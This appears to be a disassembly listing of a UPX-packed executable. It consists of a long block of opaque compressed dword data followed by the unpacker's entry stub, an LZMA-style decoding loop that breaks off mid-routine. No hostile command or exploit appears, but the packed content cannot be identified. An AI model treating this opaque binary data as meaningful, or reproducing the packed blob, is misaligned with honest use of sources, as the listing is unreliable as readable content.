6D2B0F1Dh dd 0A60D9BB4h, 52A5C445h, 9206FA35h, 9601A6EDh, 87A1A45Ah dd 81DFBC84h, 0A93F1678h, 0C66CFD95h, 0D7CD893Ch, 1464F1F2h dd 240983B4h, 3DE51A7Dh, 187D264Eh, 915A01D7h, 0E9441114h dd 0A6D9732h, 7ADF4A0Bh, 0C730E203h, 23F8201Dh, 9F99FF8Fh dd 8EFA6BCFh, 858E42CAh, 9C742450h, 4B1AD791h, 701CA3A4h dd 0A1F347B4h, 0D162583Dh, 0F7016A2Ah, 330AA7F4h, 8575D68Ah dd 94CDF35Bh, 0D44EB6EFh, 2C00716Fh, 0AD7041B7h, 972DC7C2h dd 900661DCh, 65C97A38h, 0A56E2956h, 4A9C44F7h, 214A8470h dd 62D4E26h, 66634F89h, 92D7CA4Fh, 0BF7C18B9h, 0F2C0E4F9h dd 0B600824Dh, 2A9F42DDh, 8DF62AC9h, 0EB35DC07h, 0DDAC42C2h dd 8FD2D5D2h, 79F4559Ch, 50EE3A66h, 0B7907B65h, 8C252ADh dd 8D12D5D3h, 577E7240h, 0E72AFD20h, 0A0470DDAh, 5D9681F9h dd 69FD0FC7h, 0A3957C15h, 0AD9E78B9h, 115C8AFBh, 0FE8DBB43h dd 0EC0AE769h, 0E262A964h, 0D02F7A5Fh, 0E91394DDh, 251DF9F0h dd 1FF54E68h, 165D6EB2h, 0E8F32AEEh, 0B89FDADFh, 9B79BE07h dd 0FEE39792h, 8A5B4E2Ah, 0F8FC247Ah, 0CEF2CE0Ah, 0BE5CF392h dd 0C3B43F99h, 0C840A244h, 0D6233467h, 8C8B256h, 0AA4E1E0Ch dd 94AE25BDh, 6821434Ah, 349591C3h, 0FE39EB4Bh, 18D73138h dd 779631C5h, 0EC02740Eh, 4ECBD9FDh, 256FA6C9h, 0E9DCFBC9h dd 3FA4D15Eh, 905F3335h, 1176319Ah, 7EB47AD9h, 1FBCB49Dh dd 38F5140Dh, 0B4ADE4F6h, 0B9B43D2Ah, 830402B9h, 51F576FFh dd 0BB1726EFh, 0FEF11209h, 0E3E63F83h, 237B9FB9h, 240A0079h dd 0EF5ECAEDh, 93D67F3Dh, 83A205AAh, 60DB16BFh, 0F61C4DC6h dd 20BE901Bh, 9CA0620Eh, 3679F859h, 0D7FE7571h, 5E676A1Dh dd 2631F9C4h, 0F52D533Fh, 1902AEC7h, 0F71CF8EBh, 0BE856D94h dd 3C9B0929h, 1C1648BBh, 0AF1CBDF2h, 0FF0DE045h, 0C747A647h dd 232326DAh, 2FC66ADAh, 7196E1D0h, 0A2B43D5Eh, 522BB865h dd 6F5278D5h, 0FDBB58A7h, 2A964560h, 4521573Bh, 0C6FA3F1Ah dd 0A10530B6h, 4BD65FC7h, 6E2DD552h, 0E336F946h, 640A86E3h dd 0B39D6D56h, 0DE29962Ch, 0A0C5D06Eh, 8BC4A473h, 5BA6769Ch dd 79DA266h, 7B1F1F16h, 56A4D651h, 0AF3CE594h, 0A650B7B7h dd 0CFFD54Dh, 15A74035h, 25E28F92h, 0C24EF921h, 3416D8Dh dd 3A84D40Dh, 9E7D331Eh, 755E645Bh, 39C17A9Bh, 6A092D09h dd 0D17E130Eh, 1E3CECB6h, 0B1966A72h, 23658565h, 36358509h dd 638C399Ch, 4F532695h, 0BF4676Ch, 0BE69678Dh, 61F2AD27h dd 3BF2D30Dh, 0D283FF18h, 0C678BD9Ch, 21ED28AFh, 6FA03651h dd 0F03A76B1h, 0E9A5FB9Bh, 828360A8h, 0FF5C196Dh, 0B66FE535h dd 0EDF7CC5Eh, 990FE045h, 0CA16D152h, 70DD4241h, 0A234A39Ah dd 0B511DAB6h, 0A427F1EEh, 6398A2AAh, 760140DEh, 0E3BA48C7h dd 6F0403EDh, 16D39ED0h, 8BE36087h, 9434FB36h, 7863F52Eh dd 57AA3F34h, 0A0F239A6h, 0F4DDBB85h, 3BBFD30h, 9AF69AD5h dd 595D0A73h, 1AD8C96Ch, 33D3A716h, 2774D978h, 0A290E6A0h dd 51245435h, 0B20D733Ch, 717998BAh, 69FB2033h, 0CADC83FAh dd 69788C8h, 204849D9h dd 0CD2E3744h, 6A7244CCh, 6CA1B3F0h, 0D55134ACh, 4220139Bh dd 893DB5C1h, 0A7E2B99Fh, 4D96DCCEh, 0F9AC349Fh, 7E87BB4Fh dd 14E0E04Ah, 7BBDC910h, 7A9467C3h, 0D72B9A04h, 24170110h dd 5AF42D1Ch, 0ED1BD028h, 29837302h, 3B9D4CB3h, 43314863h dd 0D1E57C11h, 0A008974h, 0BF9335A1h, 0D55CAA8Dh, 0AB3285F2h dd 0D0FD55B2h, 8623D58Fh, 96024362h, 0B26CB477h, 0E431956Ch dd 1C4711B6h, 0E070A541h, 42BBE3C3h, 805D2FA6h, 0EDABDE5Ah dd 7665D041h, 0A82A0113h, 0EDF77A94h, 9033D7AEh, 7ABD6748h dd 0AD6D062Eh, 0F1388A70h, 31E2AA25h, 9AA82C6Ch, 0DD069E1Ch dd 43A04FEEh, 2B58AC9Bh, 7AFE6B69h, 0C3E77F0Ah, 48A80524h dd 0CD2FBE6Bh, 67E93835h, 47C185C0h, 0FB2B3090h, 726B683Eh dd 8FAA20FEh, 0A45FCBA4h, 0EA0D2AC7h, 4122DFE7h, 0E4CB6F6Dh dd 2E43877Fh, 861023BEh, 580C112h, 1B73EE43h, 18C8D014h dd 6D604DCCh, 0DFCBC4F2h, 9821E14Ch, 0A007FD86h, 2F638125h dd 0A0206805h, 8C556267h, 0B1E0A495h, 0EE537D33h, 3CAF78B4h dd 9B0A2B5Dh, 0F270B3B6h, 0D46D7DD6h, 96417D4Eh, 31CA758h dd 0A7851C68h, 96AD3137h, 6E7AD67Ch, 7FBDABFh, 2B392A08h dd 64172415h, 0CF36C9E8h, 749129B2h, 33C55D1Fh, 6696B686h dd 0C4AE3DB8h, 4EBAB837h, 0C3156B74h, 8CC6D95Dh, 0C14E7700h dd 6A614AE5h, 5CF6E558h, 9E75660Fh, 9852D9B0h, 0D3404F4h dd 236EB262h, 5F2DF985h, 971C14C2h, 8B5427D8h, 0DAA4E8Bh dd 5C07A8FAh, 0D0D4844Dh, 8C90F5A9h, 0E24F3A37h, 66FEEA03h dd 5FB12A2Dh, 0FA895351h, 0B45CC51Dh, 0A18D959Dh, 186E1CB5h dd 0E7ADDD81h, 0E5D5839Fh, 0FB94BA98h, 643120E2h, 0F7850DA1h dd 70583CEEh, 94BC348Bh, 0A1512660h, 0F6B9A73Eh, 0D29F44FDh dd 7C89EAE5h, 821DD3B0h, 0CCF12F2Ah, 0C43A1DDCh, 5F9BAB95h dd 398A23A3h, 8DC5BEAFh, 5FCFE2B3h, 95807885h, 3744999Ah dd 1F359F4Dh, 271CC09h, 2C55414Ch, 66234228h, 0F5628DCCh dd 39E95F9Fh, 779CA2h, 26930DE3h, 741C2805h, 9B2713Bh dd 82C1B5B0h, 31DC8099h, 31D6EBD7h, 0B8F7A3E2h, 0ECF04FA4h dd 0E3229747h, 43AFF2Bh, 71904138h, 0E544256Bh, 9C79D605h dd 86281B30h, 0A7AFB38Fh, 0D362DAB9h, 566B21B3h, 0D652C57Dh dd 77EC5C3Fh, 2C044F29h, 0BB3C3B17h, 0EDCCCC71h, 47BA9140h dd 0E1E7B15Dh, 34FCA603h, 44AC5A35h, 0F8A14828h, 8BFFE891h dd 3B9CB4FDh, 0EEEB057Bh, 61DB6524h, 0D3421B9Ch, 0BCDE37A0h dd 0E9D231EFh, 7DEFD2BDh, 4FC767ADh, 3A61B3CFh, 85E3DAF2h dd 54251FE0h, 0FC185B3Fh, 0BB06F3E0h, 3E7D90D7h, 3F90F346h dd 232B408Ch, 580945E3h, 4E100EC8h, 8368C23Fh, 663F1367h dd 5A47D558h, 5C356D0Ah, 61E7A03Ch, 80FEED01h, 17C2C44Dh dd 5218E8EBh, 0C93C6979h, 2E2D713Bh, 0D3E29908h, 0A9E05388h dd 0ED235693h, 6B9E0A57h, 0DB14939Dh, 0AA3C94Ch, 0AD96F00Eh dd 8D7C4680h, 0C599FC19h, 0D7EA0B56h, 997C5B10h, 3534D5FAh dd 3DCB9896h, 4AAD713Ah, 826DAED9h, 0C6CF12F5h, 0DF9BD779h dd 371BA59Dh, 0A2BFCED9h, 0D7DF5A9h, 0A882D4B5h, 751F42D2h dd 0E6518441h, 45A69FCDh, 0A9AD7261h, 30FD0C2h, 330D2204h dd 85A90AF9h, 0B53BC9D8h, 0D32817F9h, 0E9E6CB79h, 6571E5ABh dd 10349FEEh, 1AABA8D2h, 3079BA9Ch, 0D8523928h, 3C9617B1h dd 0F545B0FCh, 0FBD0F2E9h, 0EE3401EEh, 0A71BD330h, 29D2963Fh dd 63522F77h, 6EB0B84Dh, 2EE81AD5h, 0BAF5900Fh, 7A0FAB1h dd 0C9D1DB34h, 0D91CB2Ah, 94463F1Eh, 56EAE7E9h, 3FC1AE8Fh dd 0F42B74D2h, 6B3C835h, 0C898059Fh, 5733A225h, 0E5F7691Ch dd 9FEB6E79h, 77CCD9B3h, 0CF70F380h, 79A820F4h, 90606417h dd 87D314FBh, 0A1DB3F83h, 781144BDh, 0D0F9BCE5h, 0D02E5CD8h dd 0BD04569Fh, 0EF6DFE40h, 405FCAC4h, 0EF19C38Ah, 53C3B387h dd 269B87DCh, 7E7B1F77h, 0F3E5D312h, 1BB05996h, 0F6DF7250h dd 33A946ABh, 3382DECh, 0C35D0354h, 0EFBD9FE2h, 0D24F2593h dd 3CAFB647h, 9547E31Ah, 35E79A7Ah, 963016A2h, 60D9C44Ch dd 19F35B3Eh, 7F7FD6CCh, 9FBA8219h, 0F23D74E9h, 0F3D5EDA8h dd 1F41E047h, 7225E22Ah, 0F4356693h, 0E2F6B91Bh, 3E80563Dh dd 930348E5h, 7244903Ah, 0C1779FB0h, 0AD134064h, 0C670FFBBh dd 0C50B9740h, 0DABDD15Ah, 0DC9FE10Ch, 1D02703h, 104568A8h dd 350FA9A9h, 0DF65383Eh, 4D50EFBEh, 42B41D54h, 78F35B37h dd 93D909B0h, 0A8B8C38Ah, 0AD3DC0CBh, 704C8E1h, 0B3A4710Bh dd 4BF14AC6h, 2DB87BB2h, 0E6BCC29Ah, 970FAE8Fh, 0D5E66B7h dd 88A70FEDh, 3F34639Ch, 7EE182C6h, 788B6DC1h, 0F66CBEA1h dd 2DBD999Dh, 79B88D4Ch, 0C82031FEh, 35D86B54h, 66577E68h dd 4B579F83h, 33118264h, 0BDE16185h, 90524C5Ch, 3F4E4CDBh dd 0A50031FDh, 45ACB4Bh, 4A6FB71Fh, 83FE988Bh, 8CFFA45Bh dd 0F36A4B94h, 8F5D7E0Fh, 6D794F4Fh, 3C5D68EDh, 0C651FFBEh dd 0CB70434h, 395C5B04h, 0D72619B3h, 14CB3DAAh, 0DCF5AACEh dd 982D4E41h, 0B8F8C367h, 786BA883h, 39016E13h, 65901E56h dd 4EF47112h, 0E3B76BC5h, 0A5121861h, 5DEA97D9h, 0CBFA7CECh dd 0BF5DCE74h, 4BFDBBEDh, 378E11A8h, 74B3C339h, 84EE4F7Ch dd 0CC2C0CB6h, 0C085116Bh, 9D5201h, 0DDB5C7E2h, 28B32A89h dd 416492FFh, 698E8EE7h, 952B0CD9h, 63DF8817h, 315D0239h dd 5E77A12Fh, 257A161Ah, 7F5D4775h, 0B40393D8h, 177D62BBh dd 0C46A9F14h, 4DE6B746h, 0B1A7CE27h, 711B3DBCh, 9F904DFAh dd 0CCC2131Ah, 0FA7E114Ah, 0B049h, 2 dup(0) ; --------------------------------------------------------------------------- public start start: pusha mov esi, offset dword_431000 lea edi, [esi-30000h] push edi mov ebp, esp lea ebx, [esp-3E80h] xor eax, eax loc_46FE88: ; CODE XREF: UPX1:0046FE8Bj push eax cmp esp, ebx jnz short loc_46FE88 inc esi inc esi push ebx push 6D06Dh push edi add ebx, 4 push ebx push 3EE65h push esi add ebx, 4 push ebx push eax mov dword ptr [ebx], 3 nop nop nop nop nop push ebp push edi push esi push ebx sub esp, 7Ch mov edx, [esp+90h] mov dword ptr [esp+74h], 0 mov byte ptr [esp+73h], 0 mov ebp, [esp+9Ch] lea eax, [edx+4] mov [esp+78h], eax mov eax, 1 movzx ecx, byte ptr [edx+2] mov ebx, eax shl ebx, cl mov ecx, ebx dec ecx mov [esp+6Ch], ecx movzx ecx, byte ptr [edx+1] shl eax, cl dec eax mov [esp+68h], eax mov eax, [esp+0A8h] movzx esi, byte ptr [edx] mov dword ptr [ebp+0], 0 mov dword ptr [esp+60h], 0 mov dword ptr [eax], 0 mov eax, 300h mov [esp+64h], esi mov dword ptr [esp+5Ch], 1 mov dword ptr [esp+58h], 1 mov dword ptr [esp+54h], 1 mov dword ptr [esp+50h], 1 movzx ecx, byte ptr [edx+1] add ecx, esi shl eax, cl lea ecx, [eax+736h] cmp [esp+74h], ecx jnb short loc_46FF62 mov eax, [esp+78h] loc_46FF58: ; CODE XREF: UPX1:0046FF60j mov word ptr [eax], 400h add eax, 2 loop loc_46FF58 loc_46FF62: ; CODE XREF: UPX1:0046FF52j mov ebx, [esp+94h] xor edi, edi mov dword ptr [esp+48h], 0FFFFFFFFh mov edx, ebx add edx, [esp+98h] mov [esp+4Ch], edx xor edx, edx loc_46FF82: ; CODE XREF: UPX1:0046FF99j cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 inc edx inc ebx or edi, eax cmp edx, 4 jle short loc_46FF82 mov ecx, [esp+0A4h] cmp [esp+74h], ecx jnb loc_470910 loc_46FFAC: ; CODE XREF: UPX1:004708EBj mov esi, [esp+74h] and esi, [esp+6Ch] mov eax, [esp+60h] mov edx, [esp+78h] shl eax, 4 mov [esp+44h], esi add eax, esi cmp dword ptr [esp+48h], 0FFFFFFh lea ebp, [edx+eax*2] ja short loc_46FFEA cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_46FFEA: ; CODE XREF: UPX1:0046FFD0j mov eax, [esp+48h] mov dx, [ebp+0] shr eax, 0Bh movzx ecx, dx imul eax, ecx cmp edi, eax jnb loc_4701E0 mov [esp+48h], eax mov eax, 800h sub eax, ecx mov cl, [esp+64h] sar eax, 5 mov esi, 1 lea eax, [edx+eax] movzx edx, byte ptr [esp+73h] mov [ebp+0], ax mov eax, [esp+74h] and eax, [esp+68h] mov ebp, [esp+78h] shl eax, cl mov ecx, 8 sub ecx, [esp+64h] sar edx, cl add eax, edx imul eax, 600h cmp dword ptr [esp+60h], 6 lea eax, [ebp+eax+0E6Ch] mov [esp+14h], eax jle loc_470127 mov eax, [esp+74h] sub eax, [esp+5Ch] mov edx, [esp+0A0h] movzx eax, byte ptr [edx+eax] mov [esp+40h], eax loc_470074: ; CODE XREF: UPX1:00470117j shl dword ptr [esp+40h], 1 mov ecx, [esp+40h] lea edx, [esi+esi] mov ebp, [esp+14h] and ecx, 100h cmp dword ptr [esp+48h], 0FFFFFFh lea eax, [ebp+ecx*2+0] mov [esp+3Ch], ecx lea ebp, [eax+edx] ja short loc_4700B6 cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_4700B6: ; CODE XREF: UPX1:0047009Cj mov eax, [esp+48h] mov cx, [ebp+200h] shr eax, 0Bh movzx esi, cx imul eax, esi cmp edi, eax jnb short loc_4700F1 mov [esp+48h], eax mov eax, 800h sub eax, esi mov esi, edx sar eax, 5 cmp dword ptr [esp+3Ch], 0 lea eax, [ecx+eax] mov [ebp+200h], ax jz short loc_470111 jmp short loc_47011F ; --------------------------------------------------------------------------- loc_4700F1: ; CODE XREF: UPX1:004700CCj sub [esp+48h], eax sub edi, eax mov eax, ecx lea esi, [edx+1] shr ax, 5 sub cx, ax cmp dword ptr [esp+3Ch], 0 mov [ebp+200h], cx jz short loc_47011F loc_470111: ; CODE XREF: UPX1:004700EDj cmp esi, 0FFh jle loc_470074 jmp short loc_470198 ; --------------------------------------------------------------------------- loc_47011F: ; CODE XREF: UPX1:004700EFj ; UPX1:0047010Fj ... cmp esi, 0FFh jg short loc_470198 loc_470127: ; CODE XREF: UPX1:00470057j lea edx, [esi+esi] mov ebp, [esp+14h] add ebp, edx cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_470152 cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_470152: ; CODE XREF: UPX1:00470138j mov eax, [esp+48h] mov cx, [ebp+0] shr eax, 0Bh movzx esi, cx imul eax, esi cmp edi, eax jnb short loc_470180 mov [esp+48h], eax mov eax, 800h sub eax, esi mov esi, edx sar eax, 5 lea eax, [ecx+eax] mov [ebp+0], ax jmp short loc_47011F ; --------------------------------------------------------------------------- loc_470180: ; CODE XREF: UPX1:00470165j sub [esp+48h], eax sub edi, eax mov eax, ecx lea esi, [edx+1] shr ax, 5 sub cx, ax mov [ebp+0], cx jmp short loc_47011F ; --------------------------------------------------------------------------- loc_470198: ; CODE XREF: UPX1:0047011Dj ; UPX1:00470125j mov edx, [esp+74h] mov eax, esi mov ecx, [esp+0A0h] mov [esp+73h], al mov [edx+ecx], al inc edx cmp dword ptr [esp+60h], 3 mov [esp+74h], edx jg short loc_4701C5 mov dword ptr [esp+60h], 0 jmp loc_4708E0 ; --------------------------------------------------------------------------- loc_4701C5: ; CODE XREF: UPX1:004701B6j cmp dword ptr [esp+60h], 9 jg short loc_4701D6 sub dword ptr [esp+60h], 3 jmp loc_4708E0 ; --------------------------------------------------------------------------- loc_4701D6: ; CODE XREF: UPX1:004701CAj sub dword ptr [esp+60h], 6 jmp loc_4708E0 ; --------------------------------------------------------------------------- loc_4701E0: ; CODE XREF: UPX1:0046FFFDj mov ecx, [esp+48h] sub edi, eax mov esi, [esp+60h] sub ecx, eax mov eax, edx shr ax, 5 sub dx, ax cmp ecx, 0FFFFFFh mov [ebp+0], dx mov ebp, [esp+78h] lea esi, [ebp+esi*2+0] mov [esp+38h], esi ja short loc_470223 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl ecx, 8 inc ebx or edi, eax loc_470223: ; CODE XREF: UPX1:0047020Bj mov ebp, [esp+38h] mov eax, ecx shr eax, 0Bh mov dx, [ebp+180h] movzx ebp, dx imul eax, ebp cmp edi, eax jnb short loc_47028F mov esi, eax mov eax, 800h sub eax, ebp mov ebp, [esp+58h] sar eax, 5 mov ecx, [esp+54h] lea eax, [edx+eax] mov edx, [esp+38h] mov [esp+50h], ecx mov ecx, [esp+78h] mov [edx+180h], ax mov eax, [esp+5Ch] mov [esp+54h], ebp mov [esp+58h], eax xor eax, eax cmp dword ptr [esp+60h], 6 setnle al add ecx, 664h lea eax, [eax+eax*2] mov [esp+60h], eax jmp loc_470503 ; --------------------------------------------------------------------------- loc_47028F: ; CODE XREF: UPX1:0047023Bj mov esi, ecx sub edi, eax sub esi, eax mov eax, edx shr ax, 5 mov ecx, [esp+38h] sub dx, ax cmp esi, 0FFFFFFh mov [ecx+180h], dx ja short loc_4702C7 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl esi, 8 inc ebx or edi, eax loc_4702C7: ; CODE XREF: UPX1:004702AFj mov ebp, [esp+38h] mov edx, esi shr edx, 0Bh mov cx, [ebp+198h] movzx eax, cx imul edx, eax cmp edi, edx jnb loc_4703C8 mov ebp, 800h mov esi, edx sub ebp, eax mov dword ptr [esp+34h], 800h mov eax, ebp sar eax, 5 lea eax, [ecx+eax] mov ecx, [esp+38h] mov [ecx+198h], ax mov eax, [esp+60h] mov ecx, [esp+44h] shl eax, 5 add eax, [esp+78h] cmp edx, 0FFFFFFh lea ebp, [eax+ecx*2] ja short loc_470339 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl esi, 8 inc ebx or edi, eax loc_470339: ; CODE XREF: UPX1:00470321j mov dx, [ebp+1E0h] mov eax, esi shr eax, 0Bh movzx ecx, dx imul eax, ecx cmp edi, eax jnb short loc_4703AF sub [esp+34h], ecx sar dword ptr [esp+34h], 5 mov esi, [esp+34h] mov [esp+48h], eax cmp dword ptr [esp+74h], 0 lea eax, [edx+esi] mov [ebp+1E0h], ax jz loc_470908 xor eax, eax cmp dword ptr [esp+60h], 6 mov ebp, [esp+0A0h] mov edx, [esp+74h] setnle al lea eax, [eax+eax+9] mov [esp+60h], eax mov eax, [esp+74h] sub eax, [esp+5Ch] mov al, [ebp+eax+0] mov [esp+73h], al mov [edx+ebp], al inc edx mov [esp+74h], edx jmp loc_4708E0 ; --------------------------------------------------------------------------- loc_4703AF: ; CODE XREF: UPX1:0047034Dj sub esi, eax sub edi, eax mov eax, edx shr ax, 5 sub dx, ax mov [ebp+1E0h], dx jmp loc_4704E7 ; --------------------------------------------------------------------------- loc_4703C8: ; CODE XREF: UPX1:004702DFj mov eax, ecx sub esi, edx shr ax, 5 mov ebp, [esp+38h] sub cx, ax sub edi, edx cmp esi, 0FFFFFFh mov [ebp+198h], cx ja short loc_4703FE cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl esi, 8 inc ebx or edi, eax loc_4703FE: ; CODE XREF: UPX1:004703E6j mov ecx, [esp+38h] mov eax, esi shr eax, 0Bh mov dx, [ecx+1B0h] movzx ecx, dx imul eax, ecx cmp edi, eax jnb short loc_47043B mov esi, eax mov eax, 800h sub eax, ecx mov ebp, [esp+38h] sar eax, 5 lea eax, [edx+eax] mov [ebp+1B0h], ax mov eax, [esp+58h] jmp loc_4704DB ; --------------------------------------------------------------------------- loc_47043B: ; CODE XREF: UPX1:00470416j mov ecx, esi sub edi, eax sub ecx, eax mov eax, edx shr ax, 5 sub dx, ax mov eax, [esp+38h] cmp ecx, 0FFFFFFh mov [eax+1B0h], dx ja short loc_470473 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl ecx, 8 inc ebx or edi, eax loc_470473: ; CODE XREF: UPX1:0047045Bj mov esi, [esp+38h] mov eax, ecx shr eax, 0Bh mov dx, [esi+1C8h] movzx ebp, dx imul eax, ebp cmp edi, eax jnb short loc_4704AD mov esi, eax mov eax, 800h sub eax, ebp mov ebp, [esp+38h] sar eax, 5 lea eax, [edx+eax] mov [ebp+1C8h], ax mov eax, [esp+54h] jmp short loc_4704D3 ; --------------------------------------------------------------------------- loc_4704AD: ; CODE XREF: UPX1:0047048Bj mov esi, ecx sub edi, eax sub esi, eax mov eax, edx shr ax, 5 sub dx, ax mov eax, [esp+38h] mov [eax+1C8h], dx mov edx, [esp+54h] mov eax, [esp+50h] mov [esp+50h], edx loc_4704D3: ; CODE XREF: UPX1:004704ABj mov ecx, [esp+58h] mov [esp+54h], ecx loc_4704DB: ; CODE XREF: UPX1:00470436j mov ebp, [esp+5Ch] mov [esp+5Ch], eax mov [esp+58h], ebp loc_4704E7: ; CODE XREF: UPX1:004703C3j xor eax, eax cmp dword ptr [esp+60h], 6 mov ecx, [esp+78h] setnle al add ecx, 0A68h lea eax, [eax+eax*2+8] mov [esp+60h], eax loc_470503: ; CODE XREF: UPX1:0047028Aj cmp esi, 0FFFFFFh ja short loc_470521 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl esi, 8 inc ebx or edi, eax loc_470521: ; CODE XREF: UPX1:00470509j mov dx, [ecx] mov eax, esi shr eax, 0Bh movzx ebp, dx imul eax, ebp cmp edi, eax jnb short loc_470562 mov [esp+48h], eax mov eax, 800h sub eax, ebp shl dword ptr [esp+44h], 4 sar eax, 5 mov dword ptr [esp+2Ch], 0 lea eax, [edx+eax] mov [ecx], ax mov eax, [esp+44h] lea ecx, [ecx+eax+4] mov [esp+10h], ecx jmp short loc_4705D4 ; --------------------------------------------------------------------------- loc_470562: ; CODE XREF: UPX1:00470531j sub esi, eax sub edi, eax mov eax, edx shr ax, 5 sub dx, ax cmp esi, 0FFFFFFh mov [ecx], dx ja short loc_470590 cmp ebx, [esp+4Ch] jz loc_470908 movzx eax, byte ptr [ebx] shl edi, 8 shl esi, 8 inc ebx or edi, eax loc_470590: ; CODE XREF: UPX1:00470578j mov dx, [ecx+2] mov eax, esi shr eax, 0Bh movzx ebp, dx imul eax, ebp cmp edi, eax jnb short loc_4705DE mov [esp+48h], eax mov eax, 800h sub eax, ebp shl dword ptr [esp+44h], 4 sar eax, 5 mov dword ptr [esp+2Ch], 8 lea eax, [edx+eax] mov edx, [esp+44h] mov [ecx+2], ax lea ecx, [ecx+edx+104h] mov [esp+10h], ecx loc_4705D4: ; CODE XREF: UPX1:00470560j mov dword ptr [esp+30h], 3 jmp short loc_47060D ; --------------------------------------------------------------------------- loc_4705DE: ; CODE XREF: UPX1:004705A1j sub esi, eax sub edi, eax mov eax, edx mov [esp+48h], esi shr ax, 5 mov dword ptr [esp+2Ch], 10h sub dx, ax mov dword ptr [esp+30h], 8 mov [ecx+2], dx add ecx, 204h mov [esp+10h], ecx loc_47060D: ; CODE XREF: UPX1:004705DCj mov ecx, [esp+30h] mov edx, 1 mov [esp+28h], ecx loc_47061A: ; CODE XREF: UPX1:0047068Fj lea ebp, [edx+edx] mov esi, [esp+10h] add esi, ebp cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_470645 cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_470645: ; CODE XREF: UPX1:0047062Bj mov eax, [esp+48h] mov dx, [esi] shr eax, 0Bh movzx ecx, dx imul eax, ecx cmp edi, eax jnb short loc_470671 mov [esp+48h], eax mov eax, 800h sub eax, ecx sar eax, 5 lea eax, [edx+eax] mov edx, ebp mov [esi], ax jmp short loc_470686 ; --------------------------------------------------------------------------- loc_470671: ; CODE XREF: UPX1:00470657j sub [esp+48h], eax sub edi, eax mov eax, edx shr ax, 5 sub dx, ax mov [esi], dx lea edx, [ebp+1] loc_470686: ; CODE XREF: UPX1:0047066Fj mov esi, [esp+28h] dec esi mov [esp+28h], esi jnz short loc_47061A mov cl, [esp+30h] mov eax, 1 shl eax, cl sub edx, eax add edx, [esp+2Ch] cmp dword ptr [esp+60h], 3 mov [esp+0Ch], edx jg loc_470898 add dword ptr [esp+60h], 7 cmp edx, 3 mov eax, edx jle short loc_4706C2 mov eax, 3 loc_4706C2: ; CODE XREF: UPX1:004706BBj mov esi, [esp+78h] shl eax, 7 mov dword ptr [esp+24h], 6 lea eax, [esi+eax+360h] mov [esp+8], eax mov eax, 1 loc_4706E1: ; CODE XREF: UPX1:00470756j lea ebp, [eax+eax] mov esi, [esp+8] add esi, ebp cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_47070C cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_47070C: ; CODE XREF: UPX1:004706F2j mov eax, [esp+48h] mov dx, [esi] shr eax, 0Bh movzx ecx, dx imul eax, ecx cmp edi, eax jnb short loc_470738 mov [esp+48h], eax mov eax, 800h sub eax, ecx sar eax, 5 lea eax, [edx+eax] mov [esi], ax mov eax, ebp jmp short loc_47074D ; --------------------------------------------------------------------------- loc_470738: ; CODE XREF: UPX1:0047071Ej sub [esp+48h], eax sub edi, eax mov eax, edx shr ax, 5 sub dx, ax lea eax, [ebp+1] mov [esi], dx loc_47074D: ; CODE XREF: UPX1:00470736j mov ebp, [esp+24h] dec ebp mov [esp+24h], ebp jnz short loc_4706E1 lea edx, [eax-40h] cmp edx, 3 mov [esp], edx jle loc_47088E mov eax, edx mov esi, edx sar eax, 1 and esi, 1 lea ecx, [eax-1] or esi, 2 cmp edx, 0Dh mov [esp+20h], ecx jg short loc_47079B mov ebp, [esp+78h] shl esi, cl add edx, edx mov [esp], esi lea eax, [ebp+esi*2+0] sub eax, edx add eax, 55Eh mov [esp+4], eax jmp short loc_4707F1 ; --------------------------------------------------------------------------- loc_47079B: ; CODE XREF: UPX1:0047077Dj lea edx, [eax-5] loc_47079E: ; CODE XREF: UPX1:004707D4j cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_4707C0 cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_4707C0: ; CODE XREF: UPX1:004707A6j shr dword ptr [esp+48h], 1 add esi, esi cmp edi, [esp+48h] jb short loc_4707D3 sub edi, [esp+48h] or esi, 1 loc_4707D3: ; CODE XREF: UPX1:004707CAj dec edx jnz short loc_47079E mov eax, [esp+78h] shl esi, 4 mov [esp], esi add eax, 644h mov dword ptr [esp+20h], 4 mov [esp+4], eax loc_4707F1: ; CODE XREF: UPX1:00470799j mov dword ptr [esp+1Ch], 1 mov eax, 1 loc_4707FE: ; CODE XREF: UPX1:00470888j mov ebp, [esp+4] add eax, eax mov [esp+18h], eax add ebp, eax cmp dword ptr [esp+48h], 0FFFFFFh ja short loc_47082C cmp ebx, [esp+4Ch] jz loc_470908 shl dword ptr [esp+48h], 8 movzx eax, byte ptr [ebx] shl edi, 8 inc ebx or edi, eax loc_47082C: ; CODE XREF: UPX1:00470812j mov eax, [esp+48h] mov dx, [ebp+0] shr eax, 0Bh movzx esi, dx imul eax, esi cmp edi, eax jnb short loc_47085C mov [esp+48h], eax mov eax, 800h sub eax, esi sar eax, 5 lea eax, [edx+eax] mov [ebp+0], ax mov eax, [esp+18h] jmp short loc_47087B ; --------------------------------------------------------------------------- loc_47085C: ; CODE XREF: UPX1:0047083Fj 